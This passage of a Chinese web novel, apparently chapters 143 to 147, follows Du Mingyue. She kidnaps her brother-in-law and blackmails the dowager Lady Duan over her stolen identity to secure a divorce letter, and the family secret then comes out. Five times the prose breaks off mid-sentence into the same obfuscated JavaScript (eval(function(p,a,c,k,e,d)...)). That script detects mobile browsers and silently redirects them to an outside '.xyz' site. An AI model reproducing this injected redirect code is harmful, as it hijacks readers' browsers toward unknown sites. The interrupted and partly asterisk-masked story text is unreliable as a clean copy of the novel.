于是,三人就这么在竹林中狂奔了起来,段骆岐扶着段老夫人,段骆霖在后面追,但跑着跑着,段老夫人突然回头,发现跟在他们身后的段骆霖不见了。 段老夫人立马不跑了,伸手拍打着段骆岐的肩膀,发泄着心中的怒意和不满。 “你管**什么,你应该要保护你弟弟!”段老夫人喑哑着嗓子嘶吼着,还不忘以最大的恶意揣测道,“你说,是不是你在外面招惹了什么麻烦,今天才会有这么多人,来找我们麻烦!” 看到段老夫人眼中的恨意,段骆岐一下子愣住了,那一瞬间他似乎想起了什么,看着段老夫人的眸中,温度也一点点的降了下来,直到淬了冰。 正在发泄的段老夫人突然发现段骆岐用一种陌生的眼神看着自己,不由得心中一悸道,“怎么,我还说不得你了!” 虽然嘴上还是如此强硬,但心中却莫名的心虚,再加上段骆霖突然不见带来的巨大打击,段老夫人腿一软,便晕了过去。 等到她再次醒来时,眼前已经是熟悉的场景了。 段老夫人猛地睁大眼睛坐起,看向自己身边的于嬷嬷道,“我怎么回来的?霖儿呢?” 于嬷嬷一脸担忧道,“老夫人,您是侯爷带回来的,二少爷他,还没有回来,侯爷已经派人去找了。” 段老夫人闻言,立马拍着床边大声哭了起来。 “我的儿啊,你要是出事了,我也不活了!”她大声哭喊着,完全没注意此时段骆岐正走到房门口。 段骆岐听到这话,脸色更黑了,默默将手中的信纸更加用力的捏住。 “母亲。”段骆岐的声音不再向以前那么恭敬和善,而是带着一丝冰冷,段老夫人见他进来,脸色尴尬的止住了哭声,默默的看向他。 段骆岐同样沉默的将手中的信递了过去,对上段老夫人疑惑的眸子,却也不开口,而是示意他自己看。 段老夫人见状,像是突然意识到了什么,一脸惊慌和惧怕的打开了信纸。 信纸上的内容果然和她想的一样。 确实是绑匪绑了段骆霖,也不说到底是为了什么,段老夫人一想到此时段骆霖生死不知,她就心梗的一口气上不来,再次晕了过去。 若是以往,段骆岐一定会关心的急忙上前,可这一次,他只是冷冷的看了她一眼,转身就走了。 段骆岐在书房里,才将自己的心腹派了出去,春红就急急忙忙的进来。 “侯爷,您去看看老夫人吧,老夫人现在不吃不喝的,身体哪能扛得住啊。”春红一脸担心,自以为她如此孝顺懂事,替段骆岐分忧,一定会让他更加喜欢自己。 但让她完全没有想到的是,她今日这番话,却正好撞在了段骆岐的窗口上。 段骆岐将手中的砚台猛地一放,抬眸瞪着春红道,“你对老夫人倒是孝顺,伺候的紧,我看你也别做姨娘了,从今日起,你就继续坐回照顾老夫人的丫鬟吧!” 段骆岐说完,起身就走,春红愣了片刻,猛地回过神来,立马哭喊着追了上去。 “侯爷,侯爷,你到底是怎么了?”春红哭诉道,“您平时不是最重视老夫人了,我这样是为了替你分忧啊……” “啪!”她的话还没有说完,段骆岐就狠狠一个耳光打在了她的脸上,打的春红踉跄了两步,用惧怕的眼神疑惑的看着她。 或许是刚才春红那番关于“孝顺”的话刺痛了他,段骆岐此刻几乎要将自己的双手捏碎了,“滚!” 春红浑身一震,见状也不敢再说什么了,生怕自己被发怒的段骆岐打死,立马转身跑了。 段骆岐转身离府,他出去后不久,杜明月便带着红豆回来了。 她从红豆口中得知,段骆岐现不在府中,段老夫人晕过去刚刚转醒,立马去了段老夫人房中。 正在房中照顾的于嬷嬷见杜明月进来,犹豫着,还是让出了位置。 段老夫人此时一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244467|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颗心都系在段骆霖身上,根本没有心思搭理杜明月。 杜明月抬头对于嬷嬷道,“你出去,我有话要和老夫人单独讲。” 于嬷嬷一愣,看向段老夫人,段老夫人翻了个白眼,不耐烦的斥责道,“于嬷嬷是我的人,你有什么话,直接说!没有就快滚!” 杜明月见状,冷笑道,“看来老夫人也没有那么着急啊,不然再饿个十天八天,不知道还有没有力气去找我问问我都知道些什么?” “老夫人绝食能不能撑过十天不知道,但二弟生死未卜的,不知道十天能不能撑得下去,救人就得争分夺秒啊!” 段老夫人一愣,随即暴怒的看向杜明月,欲撑着床柱起身去打杜明月。 红豆立马挡在了杜明月身前,而没什么力气的段老夫人很快就跌坐在了床上。 “是你干的?”段老夫人咬牙切齿的看着杜明月,恨不能立马将她生吞活剥。 杜明月故作惊讶的问道,“老夫人,你在说什么呢?我怎么听不懂?” 段老夫人只觉得眼前一黑,全靠毅力支撑,才咬着牙没有昏过去。 实在是事关段骆霖的安危,段老夫人无奈做出让步,她抬头示意于嬷嬷道,“你先出去吧。” 等到于嬷嬷离开后,段老夫人恶狠狠的等着杜明月道,“你这么做,就不怕我杀了你。” “老夫人又不是第一次想我死,但可惜我死不了。”杜明月想了想又纠正道,“不,准确的说,我如果**,你、段骆霖、段骆岐、还有整个侯府上下都要给我陪葬!” 段老夫人不信,不屑冷笑道,“你一个商户女,未免太看得起自己了。” 杜明月并不生气,而是微笑道,“对,我确实是个商户女,身份低微,微不足道,但段老夫人就没想一想,我是怎么知道这些秘密的,还有上次我到底是怎么脱困的?” 段老夫人一愣,像是想到了什么,不敢置信的看向杜明月道,“你的意思是,你背后有人指使?” 第一百四十三章 以命相挟 “到底是谁指使你的?”段老夫人瞪着猩红的眼睛问道。 杜明月淡淡一笑,不置可否道,“老夫人到底是聪明人,有些话一说您就明白了。所以我劝你最好还是继续问下去了,你要做的就是好好配合我,不要再动别的歪心思。” 段老夫人不敢置信的看着她,瞠目结舌了半天,才终于动了动嘴唇开口道,“你到底想让我配合你做什么?” “你绑了我的霖儿,要是想做任何伤害他的事情,我都绝不答应。”段老夫人咬牙切齿的道,“你若敢动他,我不管你背后的人到底是谁,我就是死也绝不会放过你。” 杜明月挑眉一笑,“老夫人你是聪明人,我也是聪明人,我既知道你的身世,自然也知道段骆霖就是你的逆鳞,你就算豁出命也绝对会保住他,所以你完全可以放心,我不会伤他。” “当然,这个前提还是你肯不肯配合我。”杜明月认真开口道,“我想要的东西,其实很简单。段老夫人,你一定能帮我完成这件事。” 段老夫人见自己完全拿杜明月没有办法,只能叹口气,有气无力的道,“行,你说吧。” “和离书。”杜明月轻轻的开口,却让段老夫人吃惊的猛然抬头。 “什么?”段老夫人像是怀疑自己的耳朵一般,再次确认道,“你做这么多,又是调查我的身份,又是**我的霖儿,就只是为了一张和离书?” 杜明月点头冷笑道,“没错,所以这次的事认真论起来,你若迁怒段骆岐,其实也没什么错,毕竟他若能早一些给我和离书,让我早早离开段府,也就不会有今天发生的这一切。” 杜明月故意这么说,就是为了挑拨段老夫人和段骆岐的关系,段家上下让她前前后后吃了这么多苦,她即便离开这里,也绝不允许段府安安稳稳的将日子过下去。 她一早就下过决心,她一定会让断腹的人付出代价,而现在她就要在彼此心中埋下怨恨的种子,等她离开段府之时,就是恨意疯长,彼此攀咬的时候。 段老夫人也果然中了她的挑拨,眼里闪过一抹怨毒,暗暗的攥紧了自己的双手。 “怎么样,一张和离书换你儿子的性命和平安,应该很划算吧?”杜明月见段老夫人不出声,便开口提醒道,“怎么样?想好了吗?” 杜明月见段老夫人似乎还有些犹豫,立马道,“你若是不愿意配合我,那就等着你的**被戳穿吧。” “到时不仅段府上下都知道你是假的段老夫人,就连整个京城的人都会知道你弑姐上位。” 杜明月冷笑,“等这事儿传到皇上的耳朵里,不仅你犯的是要被打入大牢的死罪,就连段骆岐也因犯下欺君罔上的罪名,被革去官职。到时你想留给段骆霖的一切都将化为泡影。” “不要!”还没等杜明月说,段老夫人立马大喊了起来,她完全不敢想象如果这一切真的发生,她这一生的营营苟苟都将变得多么的可笑和凄惨。 杜明月看到段老夫人这么激动,立马满意的笑了,“现在总该想好了吧,帮还是不帮?” “帮!我帮你还不行吗?”段老夫人烦躁的喊着。 杜明月得意勾唇,眉眼上挑,对她这个回答十分的满意。 “红豆我们走吧。”杜明月起身正要带着红豆离开,身后的段老夫人立马追上来道,“慢着!” “我都答应给你解决和离书的事情,那你到底什么时候放了霖儿?”段老夫人一脸担忧的问道。 “当然是你什么时候将和离书交给我,我就什么时候放段骆霖出来。”杜明月淡淡勾唇,眼底却冰冷的没有一丝情绪。 “你!”段老夫人手指颤抖的指着杜明月,气的几乎要昏过去,然而接下来度明月的话对她来说更是一阵暴击。 “哦,对了,忘了提醒你。”杜明月突然神秘一笑道,“你也不用去上次被绑的地方找人,我今日既然主动出面来找你,自然是会把他转移到更加隐秘的地方。” “而且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244468|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我安排在那里的人,只会盯着他,不让他逃跑,并不会给他送吃的。所以他能不能活下来,这取决于老夫人你办事的速度。” “他一个大男人不吃不喝最多坚持个三五天,如果这期间老夫人你办不成我交代给你的事,他就会因为你而饿死。” 杜明月淡淡勾唇的模样,在如今的段老夫人眼里,简直如同恶魔一般。 “老夫人,你可要抓紧了,你这么宝贝的儿子,若是因为你的过失出个三长两短,我看你这辈子真的是白活了。” 说完杜明月不再等段老夫人回复,直接带着红豆离开了房间。 当晚,段骆岐回来以后,段老夫人就去他的书房大闹了一场。 “我怀疑家里出了这么多事,都是杜氏那个灾星害的,你赶紧把和离书给我,我让她滚!”段老夫人的态度十分强硬,但却没想到根本不奏效。 段老夫人见状就大吵大闹,拔出他屋里的佩剑,做事就要拎起来往自己的脖子上抹。 “好,你可以不让她离府,但和离书必须先交给我保管。只有这样,我才能安心,家里发生这么多事不是她害的,不然的话我就死在你这里。” 段老夫人以死相逼,原来还面色冷峻段骆霖此时也终于有了反应。 他无奈的叹了口气,果真打开了书柜的最下一层,从一堆东西底下取出了一个盒子,拿出来打开后将里面的和离书拿了出来。 “给,你要一定要捏在手里,才能安心就拿去吧。”段骆岐说完,还再次认真强调道,“没有我的允许,绝对不能给杜明月。” 段老夫人极力压抑着自己想要上扬的嘴角,不耐烦的回复道,“我知道了。” 段骆岐自信的以为不会发生什么,却没有想到段老夫人从他这里离开后,立马转头就去找了杜明月。 夜色已然很深,段老夫人像是生怕自己见杜明月的事情被传到段骆岐的耳中,因此来的路上一路小心翼翼,甚至有些鬼鬼祟祟。 第一百四十四章 同意放人 当段老夫人抬手刚刚叩响杜明月的房门时,下一瞬房门立马被红豆打开了。 段老夫人压着嗓子,极为不耐烦的问道,“你主子呢?” 红豆给了她一个白眼,也懒得同她好好说话,因此用下巴往屋子里一点,“我们主子在里面呢,进去吧。” 段老夫人顾不上指责一个下人都敢对自己无礼,就急急忙忙进了屋,然后将手中的和离书猛地拍在了桌子上。 “给,这是你要的和离书,赶紧拿着你的和离书出去!”段老夫人还不忘咬牙切齿的威胁道,“你若敢食言,害我儿子丢了性命,我做鬼也不会放过你。” 杜明月冷眼撇了一眼桌上的和离书,勾唇冷笑道,“别急啊,咱们之间还有一笔账没有清算呢。” 段老夫人立马愣住,不明白她这话是什么意思。 “你,你想干什么?”段老夫人一脸紧张的问道,“你该不会想要反悔吧?” 杜明月轻笑出声,“反悔倒不至于,但这张账单你还是先看一下吧。” 她说着从手边的抽屉里拿出一本厚厚的账册,交到了段老夫人的手中。 段老夫人一脸疑惑的打开,“这是什么?” 杜明月面不改色,淡淡的道,“这是我嫁进来五年倒贴在你们身上的嫁妆。要想让我立马离开,得先把这上面的钱补给我。” 段老夫人只觉得眼前一黑,认定杜明月这是落井下石,狮子大开口。 她颤抖着手指向杜明月道,“果然是个上不得台面小家子气的商户女,我早知道你这么精明算计,从一开始就要防着你的,不对,当初我就不该同意让你进门。” 杜明月闻言冷笑着起身,朝着段老夫人走了过去,周身散发的强大气场,让段老夫人莫名的缩了一下肩膀,脸上的表情有些不自在。 “段老夫人说话要负责任。你当初为什么同意我嫁进来,难道不是因为我的钱?”杜明月冷笑道,“当年我嫁进来时,你们断斧落魄,需要我的钱帮你们打通官场上的关系。” “怎么现在以为段骆岐能坐稳这个位置,立马卸磨杀驴,翻脸不认人了?”杜明月道,“还是说老夫人你死活就是不肯认?如果是这样的话,看来我还是要去找侯爷谈一谈。” 杜明月冷笑道,“他若是知道我拿了和离书要走,还要与你们清算嫁妆,他大概会闹起来,不让我离开吧。老夫人,你别忘了。只要我走不了,你的儿子就回不来。你确定要试试吗?” 段老夫人的脸色被她气的红一阵,白一阵,她再三思虑衡量之下,终于一咬牙答应了杜明月的条件。 “好,我补给你。我们侯府现在这点钱还是拿的出来的。哼!”段老夫人嘴硬的说着大话,杜明月也不同她计较,毕竟她要的只是把钱拿回来而已。 “好,我给你,但你必须今天连夜给我滚出去。”段老夫人咬牙切齿的开口,杜明月闻言,欣然答应。 “你放心,我当初答应你的话绝不会食言。明日一早。” 有了杜明月这句承诺,段老夫人才终于狠下心来,除了从府里账上支取了一部分,还拿出了自己攒的私房钱,七凑八凑之下总算将杜明月嫁妆钱的账给平了。 杜明月欣然收下段老夫人递过来的银票,立马和红豆两个人将自己收拾好的行李都搬了出去。 红豆一早就给安排了,马车在门外候着,她来来**的搬了几趟,都没有惊动府里的人。 因为杜明月在京城还有其他的宅邸,离开了段府之后,便直接朝着她闲置了许久的宅邸中。 宅邸虽然闲置许久,但杜明月一直留了一个守门的婆子,因此每隔一段时间也都会将府邸打扫的干干净净,所以这次杜明月一回来便可以直接住下,也不需要怎么折腾。 红豆兴奋地看着自己的大房间,对杜明月道,“哇,我也有自己这么大的房间,这么一比在段府里过的简直都是苦日子。” 杜明月闻言若有所思的点点头,“是啊,过的都是苦日子,如果我能早些醒悟就好了。” 说完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244469|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杜明月又微微勾起唇角安慰自己道,“算了,现在能醒悟也不晚。” 这一夜杜明月安安稳稳的睡了个好觉。 当清晨的第一缕阳光,洒满段府的各个角落是都被照亮,府里的人此时并不知道,今日迎接他们的不是阳光明媚,而是段骆岐那无处发泄的怒火。 段骆岐一大早起来,本来想讨好杜明月,和她一起吃早饭,却没想到一进摘月居就看到了度明月大开的房门,院子里安静的可怕。 像是突然想起了什么,立马一脸惊慌的冲了进去。 段骆岐痛苦的拧眉,几乎将整个屋子都找遍了,却依然没有看到杜明月的身影。 “母亲!”意识到自己被骗的段骆岐大吼一声,转头就朝着段老夫人的房间冲了过去。 而他还没有进屋,就看到段老夫人拿着一张字条兴高采烈的出来,走近一看,她甚至激动的有些热泪盈眶的。 段骆岐下意识的皱眉,疑惑的看向段老夫人。 段老夫人立马开心的拉着他的胳膊道,“是绑你弟弟的绑匪来信了,我们快去接你弟弟回来。” 段骆岐闻言一愣,他明明派人调查了那么久,都没有一点收获,段老夫人这个消息又是从哪里得来的? 短暂的他顾不上杜明月的事情,而是立马拉住了段老夫人的胳膊问道,“这真是绑匪送来的信,他们为什么突然改变主意要放人了?” 他的话让段老夫人一愣,眼底虽然有些着急和不耐烦,但还是立马隐藏起了自己全部的情绪,敷衍扯谎道,“其实他们昨日也派了人来,我给了他们一大笔时间,所以他们今天才会同意放人。” 说这话时,段老夫人不自觉的想到了杜明月,觉得自己这么说也没有任何问题,对她来说,杜明月的行径,简直是比绑匪更加可恶,有过之而无不及。 听到这话的段骆岐突然一愣,像是猛的想到了什么,立马紧紧的抓着段老夫人的手不安的问道,“母亲,明月不见了,该不会也是被绑匪劫走了吧?” 第一百四十五章 去救段骆岐 段骆岐说完这话,自己都有些不相信,又嘀嘀咕咕的补充了一句道,“但奇怪为什么她屋里的东西都搬空了?” 段老夫人一愣,她心里也知道,她将和离书给了杜明月,让杜明月离开这件事,早晚都是要告诉他的,但她觉得不是现在。 毕竟现在对她来说,最重要的就是将自己的儿子段骆霖接回来,她不想在这个关键的时间里节外生枝。 想到这里,段老夫人立马扯谎道,“哦,她说不喜欢那些东西,昨晚还跟我闹了一阵,让我拿钱给她把东西换新的,可能一大早和她那个丫鬟出去买东西了吧。” “真的只是这样吗?母亲,你确定没有将和离书给她吗?”段骆岐犹豫着开口,眸子里满是不安。 心虚的段老夫**声道,“当然没有!” 说完段老夫人转过头,不敢继续去看他的脸,心里只想着,段骆岐是最孝顺的,即便事后知道真相,用不了多长时间,他还是会原谅自己的。 毕竟这么多年以来,他们都是这么过来的。 但显然,这一次段老夫人做了错误的预估。 此时,段骆岐半信半疑的看着她,心中已经有了一种不祥的预感,但因他自己无法接受那个事实,还是刻意回避真相,不再继续追问。 段骆岐淡淡的叹了一口气道,“知道了,那明月的事情就等回来以后再说。咱们现在先去救霖儿吧。” 一说到段骆霖,段老夫人的眸子立马亮了起来,用力的朝着他点头。 “快走,快走!霖儿被绑了这么久,还不知道他怎么样呢。”段老夫人脚底生风的往大门口走去,段骆岐在后面跟着,眼神晦暗不明。 很快,马车停在了京城郊外的一座废弃宅子里。 段骆岐下了马车以后十分警惕的打量了一下周围,周围十分安静,他总觉得哪里不太对劲。 他还没想出到底哪里有问题时,身后下了马车的段老夫人已经朝着宅子冲了进去。 “母亲……”段骆岐来不及拦下,只能也跟着走了进去。 荒凉破败的大门一推开,段老夫人就看到饿的奄奄一息的段骆霖正被人绑在柱子上。 段老夫人尖叫一声,心疼的冲了过去,不由分说的先是解开了绳子,之后便抱着段骆霖一阵痛哭。 或许是段老夫人的哭声太大,又或许是被她用力摇晃,几乎已经昏迷过去的段骆霖缓缓的睁开了眼睛,当看到眼前出现的段骆岐和段老夫人,立马忍不住大哭了起来。 “吃的拿来。”段老夫人朝着身后的于嬷嬷伸手,还好她刚才出门之前提前有准备。 段老夫人心疼的将吃的递到段骆霖的眼前,段骆霖立马狼吞虎咽的吃了起来。 或许是因为吃的太急了,段骆霖中间还因为咽不下去,干呕了一声,段老夫人立马伸手去拍他的背,帮他顺了下去。 段骆岐站在院子中央,看着这母慈子孝的一幕,不知为何心里有些沮丧和失落,甚至带着一点莫名其妙的酸楚。 “来,慢点儿起来,我们回去。”段老夫人此时已经扶着段骆霖起身,正在出神的段骆岐也猛地回过神。 他敛去眼底那些说不清道不明的情绪,伸手扶住走过来的段骆霖,正要抬头离开时,却突然看到杜明月出现在了大门前。 段骆岐脸上一喜,内心担忧的石头落了地。 他心中暗自开心:还好母亲没有骗自己,杜明月也没有离开自己,那看来她要将屋里的东西全部换新的,是真的打算和自己重新开始了。 就在段骆岐松开段骆霖,兴奋激动的准备朝着杜明月冲过去时,却看到她身后突然出现了两个头发花白的婆子。 段骆岐愣住了,不知道她这是什么意思,一双眼睛一直盯在杜明月身上,也就没有注意到此时段老夫人惊恐的变了脸色。 段老夫人一开始还以为是自己看错了,可再仔细看去,其中一人确实是当年给自己接生过的稳婆。 段老夫人心中暗暗猜测,那另一个人是谁,难道是当年给她姐姐岑婉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244470|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心接生的稳婆吗? 这个想法一出现,段老夫人就害怕的浑身微微颤抖了起来,她咬牙切齿恶狠狠的看向杜明月。 杜明月这是什么意思?她不是和自己做过约定,只要拿到和离书,就不会戳破自己的真面目,难道她现在反悔了吗? 段老夫人恨不得能上去撕了杜明月,但下一瞬,她身后不仅出现了红豆,还有另外两个带刀侍卫模样的人出现。 段老夫人这下不敢轻举妄动,只是恶狠狠的和杜明月对视着,最后还是段骆岐先开口打破了这诡异的沉默。 “明月,你这是什么意思?他们又都是些什么人?”段骆岐指着她身后的人道,“这两个婆子是什么人?你身后那两个带刀侍卫又是哪里来的?” 杜明月闻言冷笑了一声,“我身后的人你就不用关心了,他们的主子你可惹不起。” 此时段老夫人立马咬牙切齿的对段骆岐道,“是董皇后给她的人,果然,她在东宫待了一年,成了替董皇后办事的一条狗,上次生辰宴的事,就是她奉了董皇后的命令,故意搞砸的。” “明月真的是这样吗?”段骆岐不敢相信,还是想听杜明月自己亲口说,这一切都不是真的。 但让他伤心和绝望的是,杜明月竟然真的没有反驳,而是默认了。 杜明月冷笑道,“段骆岐,你现在该关注的不是这个,而是站在你旁边的这个人,到底是不是你的亲生母亲?” “你……” 段骆岐还没来得及开口,一脸惊慌失措的段老夫人立马大声吼道,“杜明月,你这个**,在胡说八道什么!” “别忘了,你答应过我什么!”段老夫**声喊着,像是在威胁杜明月,但她却忘了,杜明月已经成功和离,不再是段府的,既不受她挟制,更不受她威胁。 杜明月冷笑道,“我答应你什么了?你想说,现在可以说啊,我绝不拦着你!” “这……”段老夫人对上段骆岐疑惑的眼神,顿时有些不敢说话了。 第一百四十六章 发疯威胁 段骆岐见段老夫人不肯说,就转头看向杜明月问道,“什么意思?你们两个之间做过什么约定?” 杜明月对此不置可否,而是直接带着身后两个稳婆走到了他面前。 “这两位是过去京城有名的稳婆。”杜明月指着其中一个道,“当年你出生时就是这位稳婆接生的,而到了段骆霖出生时,是另外这位稳婆接生的。” 此时吃了东西恢复了一些力气的段骆霖也好奇的抬头看向这边,段骆岐似乎是想到了什么,立马大声对两个稳婆道,“说,你们两个今天到底为什么来?” 杜明月淡淡的看了他一眼,“你想知道的我都会告诉你,这两位只是我带过来的证人。” 说着她转头看向段老夫人道,“你怎么不说话了?是怕他们戳穿你腰间没有痣,而段骆岐的生母身上有吗?” “你……”段老夫人咬牙切齿的看向杜明月,她是真的没有想到,杜明月竟然会食言揭穿自己的身世,而她又对此无能为力。 “你的意思是,母亲不是我的生母,那我的生母到底是谁在哪里?”段骆岐此时也听明白了,着急追问道,“你都知道是不是,一五一十的告诉我?” 于是,杜明月将段老夫人顶替了岑婉心的事情和盘托出,段老夫人脚下一软,只觉得两眼一黑。 果然这个秘密他瞒不住了吗? 段老夫人见杜明月并没有完全查清当**情,也并不知道是自己杀了岑婉心,于是还试图狡辩。 “老大,不是这样的,你听我解释。”段老夫人颤抖着开口,努力的想着编一些合理的借口,而段骆岐显然也已经看出了他的心虚。 段骆岐只觉得自己好像被人戏耍了一般,多年来以为疼自己,爱自己的母亲,竟然不是自己的生母,他觉得无法接受,迫切的想要得到一个答案。 就在**该怎么做的时候,杜明月突然又开口道,“你仔细想一想,这么多年,段老夫人真正在意的,只有段骆霖,对你,她只是一直在捧杀,真的爱你吗?并不是吧。” 段骆岐听到这话,脑子里果然闪过无数段老夫人从小就区别对待自己和段骆霖的画面。 他记得小的时候,有时不小心和段骆霖玩闹,害他受伤,段老夫人就会眼神凶狠的瞪着自己,那目光简直就像看仇人一般,每当那时,她都非常的紧张惶恐。 也是从那时起,他对自己的这个弟弟百般呵护照顾,而且他也确实因此得到了段老夫人的青眼,对他的态度也比之前好了很多。 有时他会安慰自己,段老夫人对自己的态度更加疏离一些,是因为自己是长子,本就应该承担更多责任,但今日听杜明月这么一说,又觉得好像不是这么回事。 他像是突然想到了什么,发疯一般以迅雷不及掩耳之势,拔出腰间的佩剑,将剑对准了段骆岐的脖子。 他突然的举动让在场的人都愣住了,杜明月也没想到他会突然闹这么一出。 而此时的段老夫人更是被吓得魂都要没有了,她看着段骆岐的手下微微用力,段骆霖的脖子上就有血迹渗出,立马吓得大叫起来。 “你这个不孝子,你到底要干什么?就算我不是你的亲生母亲,我毕竟养了你这么多年。” 段老夫人几乎是歇斯底里的吼着,段骆岐听到这话却是突然冷笑了一下。 “你这是承认了,你果然不是我的亲生母亲。我的亲生母亲到底在哪儿?你把她怎么样了?”段骆岐瞪着猩红的眼睛,哑着嗓子问道。 “没有……没有怎么样。”段老夫人说这话时十分的心虚,但是看着眼前的架势又不敢说实话,生怕惹怒了他。 “你生母也是我的亲姐姐,是我的亲人,我怎么可能会对他动手呢?”段老夫人眼珠子一转,开始信口胡编了起来。 “当年是她病入膏肓,眼见着无法陪你长大,他不放心老侯爷娶别的女人进来**你,所以早早将我接入府中,等她离世后,老侯爷这才迎娶我做了续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244471|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弦,成为你的继母。” 段老夫人红着眼眶,故意挤出几滴眼泪来,试图打感情牌。 “是,我承认。比起你,我更加疼爱霖儿,可是你想想,毕竟我也是人,他是我十月怀胎生下来的,是我身上掉下来的肉,我怎么可能看着他无动于衷?” 段老夫人哭喊道,“你摸着你的良心扪心自问。这些年我养育你难道不也是尽心尽力吗?难道我让你受过委屈吗?” “上次你们一起被绑匪劫走,我甚至愿意冒着生命危险留下来陪你一起,难道这还不能说明,我已经在尽力将一碗水端平吗?” 段老夫人说完这句话,段骆岐手下的力道果然放松了。 杜明月冷眼看着这些,心中不得不佩服,段老夫人果然还是有一些**诛心的手段的,但她可不想让段老夫人蒙混过关。 她再次冷冷的开口道,“段骆岐,有一件事我忘记提醒你了。” “你的生母身体很好,很健康,她在京城的朋友也很多,平日里都有往来,如果是因为突然生病了,这些人不可能听不到一点消息。” 杜明月道,“自从她取代了你母亲的位置,没有任何理由的就和这些夫人们绝交了,这些夫人们至今都不知道真实的原因,你觉得这样你还能相信她的鬼话,相信你的母亲是生病去世的吗?” 她的话果然提醒了段骆岐,如果自己身后真是因病离世,现在的段老夫人是作为续弦上位,那完全是不用这么遮遮掩掩的,可以光明正大的将这件事告知众人。 可是段老夫人没有,不仅借用了自己母亲的身份上位,海姆除了关于自己母亲的一切痕迹,这不合常理。 这么一想,愤怒的段骆岐再次加重了手上的力道,本来就没什么力气的段骆霖因为脖子上再次传来的痛意,脸色都变得煞白,冷汗直流。 段骆岐愤怒的盯着段老夫人道,“说,我要听实话,不然我不怕让他今天死在这里。咱们大家一起死在这里!” 第一百四十七章 都告诉我 段老夫人吓得腿都要软了,她急忙抬起手试图阻止段骆岐道,“不要!不要……老大你冷静一点。” 此时情绪已经完全崩溃的段骆岐根本听不进去她说的这些话,只是将手中的刀更加用力的抵住了段骆霖的脖子。 段骆霖已经感觉到有温热的液体顺着自己的脖颈留下,到现在都在状况外,有些发蒙的他看向段老夫人道,“母亲,到底是怎么回事,你倒是说话啊!” “我要听实话!”段骆岐又是一声怒喝,段老夫人浑身冷汗直流,几乎要昏过去。 眼见事已至此,段老夫人只能一咬牙,将心一横,开口道,“好,你要听实话,那我告诉你!” 段老夫人在于嬷嬷的搀扶下,颤抖着开口道,“我承认,你生母的死,确实和我有点关系,但我并没有害你的母亲。” “当初,我作为你母亲的娘家人过来探亲,小住了几日,却没想到被你父亲,老侯爷看上了。” 段老夫人说着,捂着脸故意大声哭了出来。 “老侯爷是什么人,有权有势,他想将我留下,我能逃得脱吗?我走不掉,只能留在了府里,姐姐不能接受,觉得这是一件丑事,因此不准消息传出去。” 段老夫人一副十分忧伤,当真在回忆那段过往的模样。 “后来,你母亲见老侯爷更喜欢我,对我宠爱有加,心中有气,因此一病不起。”段老夫人抹泪,偷偷从袖子下去看段骆岐的脸色。 “若这样将你母亲的离世算在我头上,那我是真的无话可说。”段老夫人犹犹豫豫的走到段骆岐面前道,“说实话,当年但凡我有一丁点办法,都绝不会留下来。” 段老夫人说着,又叹了口气道,“这件事其实一直是我心里的隐痛,我从不愿意拿出来讲,为了守住你母亲生前最想留住的体面,我这才没办法和你母亲的那些朋友断交。” “我对不起你母亲,也对不起你,所以这些年我对你那么好,那是因为在补偿你啊!”段老夫人试探着伸出手,想要去触碰段骆岐的脸。 段骆岐却下意识的偏了头,后退一步,对她刚才的那些话不置可否,心里也不确定到底要不要相信她。 